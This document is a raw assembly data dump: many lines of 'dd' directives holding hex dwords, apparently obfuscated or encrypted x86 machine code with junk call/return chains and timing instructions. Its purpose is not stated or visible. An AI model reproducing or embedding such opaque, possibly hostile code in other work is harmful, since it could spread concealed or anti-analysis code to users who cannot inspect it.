		dd 1E78EE2Ah, 5E9h, 78C93300h, 0D98A87B3h, 0D719529h, 0B806A9h
		dd 8B000000h, 0C08D8DFBh, 6A06A94Dh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0BE43C352h
		dd 812EC002h, 44F770E3h, 0BFE1FF3Eh, 631CFB31h,	11CDBD83h
		dd 0F0006A9h, 42C84h, 0DD958900h, 8306A933h, 0A911CDBDh
		dd 840F0106h, 434h, 49E38166h, 0CDBD8345h, 306A911h, 3EC860Fh
		dd 0C9BF0000h, 6054C04Fh, 5959529h, 8C6606A9h, 198D89D9h
		dd 8006A908h, 6A04E1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0BA37C5C3h, 33E48BD7h, 0A91A7D9Dh
		dd 1DCF8106h, 0A4C53F2h, 0D7840FC9h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0A7A1C350h, 4218D89h, 0BD8B06A9h, 6A900E5h, 619858Bh
		dd 853306A9h, 6A931F9h,	25618589h, 0B52906A9h, 6A9257Dh
		dd 38D0F50h, 66000000h,	489FE8Bh, 459D0B24h, 6A06A912h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 68ECFB13h, 4EE9CB8Fh, 196EDABFh,	2434815Dh
		dd 4EF6C870h, 357995FFh, 6A06A9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 747E22C3h, 8E9FFh, 866C0000h
		dd 0F266DC2h, 85896AF2h, 6ACADF2h, 1E35BD8Bh, 0AE906A9h
		dd 7E000000h, 8F34435h,	6224A240h, 233E9B8h, 858B0000h
		dd 6ACADEAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	72C35343h, 0A00E6D7Ah, 0BF0FD44Eh, 1800C7DAh, 0E9000000h
		dd 14h,	0FA7FB11Bh, 0FCEDCA7h, 14F6F30Ah, 0C7CDC629h, 62A347BAh
		dd 0ADEEB58Bh, 6A06ACh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 339578C3h, 42A6685Ch, 0ED9D31FFh
		dd 8906A921h, 0A916C9BDh, 0BD858B06h, 6A06A932h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0E029C356h, 61067BFBh, 6A0689DDh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0C8E1C357h
		dd 0D5E69C58h, 9D9BD8Bh, 858B06A9h, 6A90619h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0C3C35242h, 66D3F618h
		dd 4689FB8Bh, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0BF2D6DAh, 89EA5320h, 0A933698Dh
		dd 50509606h, 52505250h, 585A310Fh, 5F53310Fh, 965F585Ah
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C35545h
		dd 0F2F15DEDh, 8B499EACh, 0A926B59Dh, 8D8D3106h, 8106A901h
		dd 0BF1408EFh, 0EAB5FF39h, 6A06ACADh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0CEE2C356h
		dd 0BBF57D75h, 8B666CD1h, 95EF68FBh, 8B60332Eh,	348161FBh
		dd 31961024h, 11E933h, 0E98F0000h, 79867521h, 434C3257h
		dd 0E60D79ACh, 8D7E68E4h, 0ACADF285h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 296005FDh, 0A9139D9Dh, 0DEDA8106h, 614B3D65h, 89FA8B50h
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 5E8B8C3h,	0C000000h, 0ABD26286h, 1E418D29h
		dd 0FF5B06A9h, 0A9357995h, 49B50106h, 8906A91Fh, 0A9350585h
		dd 6A6106h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 81067FC3h, 0AEE79EEBh, 0C380525Fh, 85C75B9Ch
		dd 6A911CDh, 3,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	65C35141h, 0F2BD8364h, 6ACADh, 38840Fh,	0DB810000h
		dd 7336D2B9h, 47E9FCh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0E20C1CC3h, 0F9B5895Fh
		dd 0F06A904h, 87h, 3050FC00h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 1B2B0FD5h, 7F66A4BDh
		dd 8A0F9959h, 6, 89BD23h, 8D2906A9h, 6A9061Dh, 15CDBD8Bh
		dd 0BD8306A9h, 6A911CDh, 29850F03h, 8A000004h, 0F2BD83FDh
		dd 6ACADh, 41A840Fh, 5E90000h, 96000000h, 0F1D0F570h, 0ADF2B5FFh
		dd 6A06ACh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0F6CAAAC3h, 0F17249Dh, 95FFD8BFh,	6A90B51h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 58C35646h
		dd 0A2977ABCh, 8BF8BF0Fh, 0ACADE6B5h, 0B1BD8B06h, 0E806A90Eh
		dd 12h,	0FF1F5F97h, 38574F29h, 3B5112A6h, 0BC50F30Ch, 0FE8B61B2h
		dd 106C75Bh, 6A000100h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 661EC350h, 5E9D88Bh
		dd 92000000h, 99ACE36Ah, 0EE996h, 0E1FA0000h, 89EB885Bh
		dd 35F770C8h, 0D607C693h, 96C5B750h, 357D9D8Bh,	0B5FF06A9h
		dd 6ACADF2h, 2549BD0Bh,	95FF06A9h, 6A90EC5h, 98D38166h
		dd 0E6B58BD2h, 6A06ACADh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 7587C355h, 9A0D650Ch
		dd 858B1E62h, 6A913BDh,	72E38166h, 0C48689E8h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0E97AC355h, 57B10326h, 0CD958B3Ah, 6A06A916h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 91B6C357h, 437AD038h, 392AA182h, 5704C283h
		dd 895B46B7h, 6A2050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 293EF9C3h, 9993F6D8h, 0BD0916AEh
		dd 6A90F01h, 0C1C3858Dh, 0BD8B06ACh, 6A928BDh, 0B88689h
		dd 0AE80000h, 0A7000000h, 9CF11F91h, 9842249h, 8E9E1h
		dd 563B0000h, 0B731C262h, 6A5FBED7h, 0DFB70F00h, 0ADF2B5FFh
		dd 6A06ACh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0F9B47C3h, 0A78C8511h, 15299D89h
		dd 95FF06A9h, 6A90669h,	148A0Fh, 0FE90000h, 0A0000000h
		dd 89B37Ah, 7DB51F75h, 0BB7ED3B5h, 0E850E1C0h, 8, 0CB94468Fh
		dd 4F9C4F68h, 50BB6652h, 895B5BB8h, 890F2434h, 6, 293D8D09h
		dd 8E806A9h, 1000000h, 4617C52Bh, 0BF6375ECh, 33382CBEh
		dd 0F2B5FF5Bh, 8906ACADh, 0A901299Dh, 8995FF06h, 6A06A90Ch
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 6D96C357h, 0AB7FE8B2h, 9E9A939h, 59000000h
		dd 6DCDFC0h, 9A99E8Ch, 3319BD83h, 0F0006A9h, 0D84h, 89952900h
		dd 5006A92Ch, 89F98B66h, 0B5FF2434h, 6ACADF2h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 47C35747h, 0D2AFD96h
		dd 6860F19h, 31000000h,	0A91671BDh, 8595FF06h, 6A06A917h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0BE44C353h, 0AF50FC9Dh, 0FF5EC271h, 0ACADF2B5h
		dd 18EB8106h, 0FF1999CCh, 0A92A6195h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 0D27E58BAh, 178A0F2Fh, 0E8000000h, 11h, 19CDD826h, 859448E6h
		dd 0A1962311h, 9A86F476h, 0BD835BADh, 6A91E31h,	99840F02h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0FAB8C357h, 89DBB70Fh,	0A911959Dh
		dd 11858B06h, 6A06A911h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 6863C356h, 846A1DF7h
		dd 60B3DE91h, 68E0Fh, 8D0B0000h, 6A923F9h, 17919589h, 896106A9h
		dd 0A924C185h, 0C606h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0C1C35141h, 0F460C5DAh, 8D292858h, 6A90345h
		dd 21EBBF66h, 2F185C7h,	6A9h, 0BD330000h, 6A93445h, 0FFF3DAE9h
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0C18B5934h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0BFC35040h, 79D7F8FBh, 0E9604056h, 0Ch
		dd 3B7C4F48h, 4965D0C9h, 0DA1FD499h, 535858Dh, 6A06A9h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 8A204CC3h, 0D5BD8B5Dh, 0E906A90Fh, 0Eh, 4DD2440Eh, 4E2CE3EAh
		dd 98460BE8h, 5750AB55h, 5FDF8B66h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0C6F5C357h, 6A006A01h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0D0FC352h, 6A502Ch
		dd 5890Fh, 5EBB0000h, 8B0FFE78h, 0A917099Dh, 0E9858D06h
		dd 2B06ADC0h, 0A90A39BDh, 5C08306h, 71C3BB66h, 66525090h
		dd 0F2567BFh, 13E931h, 0E9CE0000h, 2B047E32h, 65B8BABEh
		dd 10584CE1h, 0FE05F200h, 50585ACBh, 10E9h, 8BB10F00h
		dd 23C1412Eh, 0B23EE046h, 4142C89Bh, 0F53900Dh,	8Fh, 6A5B00h
		dd 9D8B006Ah, 6A9056Dh,	2EA995FFh, 6A06A9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0EA68C0C3h
		dd 0CB3AF970h, 619D8960h, 8906A912h, 0A92415BDh, 8D8D6106h
		dd 6AC98DEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0E4C35343h, 608091Dh, 3C978420h, 14E4BB58h, 0D1FF66C5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0DDC35545h
		dd 8D726135h, 0A11B6FA2h, 12ADBD83h, 0F0106A9h,	5185h
		dd 5EB06000h, 52D858Bh,	8A6106A9h, 6A026ADCh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0D794C353h, 3628ADF5h, 619589F5h, 9006A90Ah,	0BB665750h
		dd 905B65EDh, 2499D8Bh,	95FF06A9h, 6A90669h, 0D682E381h
		dd 24E935A8h, 0E800000Fh, 0
		dd 0F3ED815Dh, 6A06ADC0h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 662AC352h, 52D4C781h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0EDC35646h
		dd 0DE72981Dh, 0FBB2DE2Eh, 8A5B858Dh, 850F06ACh, 3, 50F98B66h
		dd 840F5250h, 2, 310F6160h, 5800Fh, 0BBBF0000h,	5A4434BFh
		dd 24048958h, 2525BD33h, 0FF6406A9h, 35h, 0C9BD8B00h, 6406A910h
		dd 2589h, 10E90000h, 0F6000000h, 971045ECh, 140B6638h
		dd 5BBFA92Ch, 0FFF6EABEh, 0A9170D85h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 90BFB804h, 0BF6651F0h, 0FF6AD680h, 1F099589h, 0B5FF06A9h
		dd 6A93171h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0C5C35747h, 0ABF1D4EBh,	80A1CBDBh, 0A2BFDEC7h
		dd 0FF7950BCh, 0A934DD95h, 11EE906h, 14E90000h,	67000000h
		dd 0D912563h, 200000Eh,	0F4C5F662h, 5CB9D5AFh, 0B09CDAEEh
		dd 0F70E600h, 685h, 21952900h, 0B06A91Fh, 0A9237D9Dh, 8B71E406h
		dd 0A90C95BDh, 0F613C06h, 0DF83h, 91958900h, 0F06A925h
		dd 0BD89C8B6h, 6A90C05h, 6BAh, 47BB5300h, 5B526747h, 9D8BC18Bh
		dd 6A9210Dh, 8904E8C1h,	0A92805B5h, 0E2F76606h,	7D858951h
		dd 5F06A908h, 9D0BC82Bh, 6A91CB9h, 9D03D18Bh, 6A915F5h
		dd 93E9h, 8BD98B00h, 885h, 0B1BD8B00h, 8106A92Ch, 57051CCBh
		dd 7C08362h, 83DAB70Fh,	0D03B00C0h, 13830Fh, 69E90000h
		dd 60000000h, 0FED958Bh, 858906A9h, 6A9330Dh, 0FF8D8B61h
		dd 83FFFFFFh, 840F01E1h, 4Ch, 21A5BD89h, 0A58306A9h, 0FFFFFFFFh
		dd 0DE8FEh, 0A0100000h,	257CC1F0h, 0E6F55614h, 60F8051Ch
		dd 0AE9h, 4A7FC100h, 0E1FD977Bh, 0E8439874h, 7,	5F84289Bh
		dd 587F99A2h, 95895F61h, 8, 0E9DEB70Fh,	0
		dd 380DB58Dh, 6A06ADh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0DED948C3h, 9E585ACBh, 0F0A1C9Dh
		dd 108Ch, 8E800h, 0FF9D0000h, 0A5479CC7h, 5B511FFFh, 0C6BF665Fh
		dd 0FF006AA8h, 0A92D9595h, 0DABF0F06h, 11E9h, 0E13E0100h
		dd 0D2949F77h, 2B0FC7Dh, 0AD684932h, 53B9D81Dh,	6A000010h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 7915C350h, 3DC8AC04h, 9D8B49B1h, 6A931B1h
		dd 6AFCE183h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 12FDC352h, 71BD2B56h, 5106A916h
		dd 0EDD9D0Bh, 95F06A9h,	0A914099Dh, 0B589FC06h,	6A90985h
		dd 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 0C68C6E94h, 383AF40Ah, 99CB8166h
		dd 0BA87h, 9D8B0000h, 6A913C1h,	0ADD9B70Fh, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 8608C352h, 60600756h
		dd 66615956h, 0F61FE8Bh, 880DDAB7h, 8B000000h, 0A900D59Dh
		dd 0CD958B06h, 6A06A916h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 1FF6C352h, 0DE9CCh
		dd 28FF0000h, 25016518h, 1F263D87h, 8B6E003Ch, 0A90401BDh
		dd 0E58D8B06h, 6A06A90Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 2A13C351h, 776F243h
		dd 8B507B86h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C8C35141h
		dd 9D8960D4h, 6A92C3Dh,	4B5B58Bh, 0E96106A9h, 0Dh, 31CC96C4h
		dd 0FFFCB219h, 847D6A2Ch, 6850F12h, 8B000000h, 0A933A19Dh
		dd 0C9BD8306h, 6A933h, 7C840Fh,	0E9600000h, 0Ah, 0CD93AA9Ah
		dd 4D0908B2h, 9D8B930Fh, 6A90A69h, 8B665361h, 0B85FF8h
		dd 8B000000h, 0A91E91BDh, 0C08D8D06h, 6A06A94Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0FA5C356h, 68Dh, 719D8B00h, 0FF06A92Dh, 57006AE1h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 8659824Bh, 51028955h, 0BD83D88Bh, 6A911CDh, 0CA840F00h
		dd 29000004h, 0A90049BDh, 0CDBD8306h, 106A911h,	4D2840Fh
		dd 89520000h, 0A9125D8Dh, 0BD835F06h, 6A911CDh,	87860F03h
		dd 6A000004h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 89E8C352h, 0A90F699Dh,	5E906h
		dd 1BD30000h, 606CBE85h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 6FC35343h, 1DF38166h,	0D98C66D4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0BC35141h, 1519D89h
		dd 0B70F06A9h, 4E180DFh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 19h, 39C35646h, 732C8EBh, 0F98B6602h, 840FC90Ah
		dd 12Ch, 9288BB66h, 619858Bh, 880F06A9h, 3, 33FB8B66h
		dd 0A931F985h, 0E1B58906h, 9006A90Ch, 0BE96051h, 40000000h
		dd 363580A0h, 6EC7F1B8h, 2BB8F45Dh, 615ED16Eh, 0D98B505Fh
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 80C74355h, 0DDBD8B12h, 0F906A914h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 256A44C3h, 5EDB8F2h,	4318D29h, 296806A9h, 8BAB9082h
		dd 240481FAh, 548E81D6h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0D3C35545h, 0CF3EA7BCh, 0E8C2E340h, 859D8BAFh
		dd 8B06A909h, 0A9003D9Dh, 7995FF06h, 6606A935h,	706DD381h
		dd 0ADF28589h, 6A06ACh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 6B5652C3h, 0E9BD8BB9h, 8906A925h
		dd 0A9060D9Dh, 243E906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0DA8ACAC3h, 0ADEA858Bh
		dd 0DE906ACh, 74000000h, 0C5CF7D1h, 0DF4B38A2h,	67319271h
		dd 1800C7h, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 150424h, 52420000h, 0F8D149C3h, 8BDBBF0Fh, 0ACADEEB5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0E689118Bh, 664798F8h, 0E3FAE381h, 32BD858Bh
		dd 6A06A9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 7A9EBFC3h, 7E96C01h, 0B6000000h, 0E0B7B45Eh
		dd 68931B9h, 0DB19501h,	858B06A9h, 6A90619h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 87C35646h, 0D60C3028h
		dd 0E3AEBC0Ch, 0E8044689h, 14h,	2759E539h, 0C249FC84h
		dd 52F8D0C6h, 2EA6FC2Bh, 8B919F6h, 0EE8h, 0AB704C00h, 34B0FEE8h
		dd 0FD36A026h, 66D4688Ah, 0D686E781h, 66505B5Fh, 896CC8BFh
		dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 40C6B2C3h, 6630FF70h, 0F708D781h,	0ADEAB5FFh
		dd 68FC06ACh, 1356F44Dh, 13E8h,	91040C00h, 0FF107D5Eh
		dd 0CD36B090h, 319AB237h, 77E87A7Fh, 17820Fh, 11E80000h
		dd 0D8000000h, 0AED767B3h, 8288ACC4h, 66169C68h, 0A42E8449h
		dd 34815F5Fh, 49F7B224h, 52006A13h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0BBB89037h, 0CF9CCF4Ah
		dd 6E9D35Eh, 1F000000h,	73B59DA1h, 0F2858DD5h, 0B06ACADh
		dd 0A925619Dh, 0F98B9006h, 8B525150h, 905F5BDEh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 30C35646h, 80773039h
		dd 95FF63CFh, 6A93579h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 55C35646h, 61C90A0Dh,	0DC71413Eh, 6E8h
		dd 0E0B65C00h, 89E4738Eh, 0A91D6595h, 8B665F06h, 0BD0361FAh
		dd 6A91D9Dh, 11CD85C7h,	306A9h,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 742C11C3h
		dd 2FBBD6E5h, 8336D335h, 0ACADF2BDh, 840F0006h,	4Eh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 2C35040h, 0ED6094E5h
		dd 42AC56BDh, 699D23BDh, 8B06A91Ah, 0A924159Dh,	33E906h
		dd 9D8B0000h, 6A90919h,	91958B60h, 6006A917h, 1A9BD8Bh
		dd 0D98B06A9h, 30506161h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0F5B4E4A2h, 3A01806Ch
		dd 11E983h, 93AE0000h, 959FFE71h, 61D2D080h, 3EFEAEF1h
		dd 6AFD8AC0h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0C80BC350h, 10D709D2h
		dd 0CDBD8329h, 306A911h, 4B5850Fh, 0EB810000h, 8891E35h
		dd 0ADF2BD83h, 0F0006ACh, 4A284h, 0A1BD2900h, 0FF06A914h
		dd 0ACADF2B5h, 819D8B06h, 0FF06A911h, 0A90B5195h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 7AB0A4D7h, 0DE9h, 0BB186E00h, 1888726Ah, 0A4C5A6C5h
		dd 0B58B52EEh, 6ACADE6h, 1771BD8Bh, 6C706A9h, 10001h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0B5C35343h, 0EE836E95h
		dd 0F20D3F7h, 0BB57D8BFh, 4279FFF3h, 8B66965Bh,	0DA8B50DEh
		dd 57006A96h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 4D8DFFA3h, 0DD95094Bh, 0FF06A904h, 0ACADF2B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 46529541h, 911DBCB1h, 0C595FFD5h, 6A06A90Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 86D2C357h, 0DF3B7A58h, 0B58BDDA1h, 6ACADE6h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0BAC35747h
		dd 375BF0Fh, 8D893631h,	6A916D9h, 13BD858Bh, 6A06A9h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0EE5015C3h, 0BE9C546h, 0E8000000h, 10ECD303h, 1970CA54h
		dd 86893763h, 0C4h, 2081BD89h, 958B06A9h, 6A916CDh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 8C35242h, 0D19509E2h
		dd 8906A905h, 0A903458Dh, 4C28306h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0C7C35747h,	0FE9D60A4h, 8BB0B313h
		dd 4890FDAh, 50000000h,	0E95F6160h, 9, 3DE28AEFh, 6B811153h
		dd 20508962h, 0BE8h, 3F9C1F00h,	22B40BC6h, 3D4ED41h, 229BD8Bh
		dd 8D5B06A9h, 0ACC1C385h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 7C01EAFBh
		dd 81666EE5h, 89B15BF3h, 0B886h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0FB9D37EEh
		dd 8B2FE106h, 10E9EB9Ch, 0EF000000h, 0B3E47FDBh, 2FD0B3h
		dd 3E64669Bh, 0F6CC4EEh, 689h, 0BDBD8B00h, 6A06A900h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 3BB5D503h, 998D8960h, 0FF06A928h, 0ACADF2B5h, 11BD8906h
		dd 0FF06A935h, 0A9066995h, 0DABF0F06h, 818BBF96h, 605026D1h
		dd 0F525060h, 66585A31h, 0B661CF8Bh, 0BF96619Fh, 4542480Ch
		dd 0ADF2B5FFh, 0EE906ACh, 0D2000000h, 46747780h, 0D146F2F3h
		dd 1FABD5B1h, 8995FF6Bh, 6A06A90Ch, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 4F39C351h
		dd 0A75DF367h, 3319BD83h, 0F0006A9h, 4084h, 4EB56000h
		dd 1391958Bh, 966106A9h, 10E9h,	126E2200h, 0DAC255A9h
		dd 7F571CF8h, 5074B00h,	525050B1h, 0A376B6BFh, 0F310F41h
		dd 289h, 5A51B700h, 6E99658h, 52000000h, 0BADB4C2Ah, 0F2B5FF33h
		dd 6A06ACADh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 32B4C352h, 11E58D89h, 95FF06A9h
		dd 6A91785h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0BFC35545h, 66C2E6C3h, 0BFD1EBBFh, 368D6C04h, 0ADF2B5FFh
		dd 6A06ACh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 64E492C3h, 0DE8h,	0F179C800h, 5D445FD6h
		dd 69B1DD02h, 8B66E051h, 95FF5FF9h, 6A92A61h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 68C35747h, 81FC2843h
		dd 0D1F327DBh, 299D892Eh, 0B06A921h, 0A91EED9Dh, 31BD8306h
		dd 206A91Eh, 35840Fh, 66520000h, 7320EF81h, 8BFA8B5Bh
		dd 0A9111185h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 5FA454CAh, 0C623D702h
		dd 0C7F90000h, 0A902F185h, 6, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 6585898Eh
		dd 0F06A92Eh, 680h, 0B58D8900h,	0E906A931h, 0FFFFF1D6h
		dd 8BF8B70Fh, 13E8C1h, 86110000h, 600E2DDDh, 0AF3642A7h
		dd 0CA3B6787h, 0BB53DF1Dh, 0EB816607h, 8D5F7954h, 0A9053585h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 55E30926h, 0BD8B4DC4h, 6A92CA9h,	50E8CF80h
		dd 89DE8B66h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 111874C3h, 89F3CED8h, 0A917AD95h
		dd 6A006A06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0AFF2C353h, 0E8BAC803h, 0Eh, 58B39B1Bh
		dd 0BB279621h, 0C5CBEFBBh, 8D01F0F7h, 6A91271h,	6A006A5Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0C127C355h, 85036049h, 6A934C5h, 16F99D29h
		dd 8D6106A9h, 0ADD24D85h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 9FC3869Fh
		dd 83DBB70Fh, 0FFBB05C0h, 9034E5CFh, 3C3CBB66h,	0EE950h
		dd 0E8EB0000h, 915C0A3Eh, 0A9D80266h, 7E8C66B3h, 0AE990h
		dd 782C0000h, 35B62B3Ch, 3D16A50Ch, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 2832BBC3h
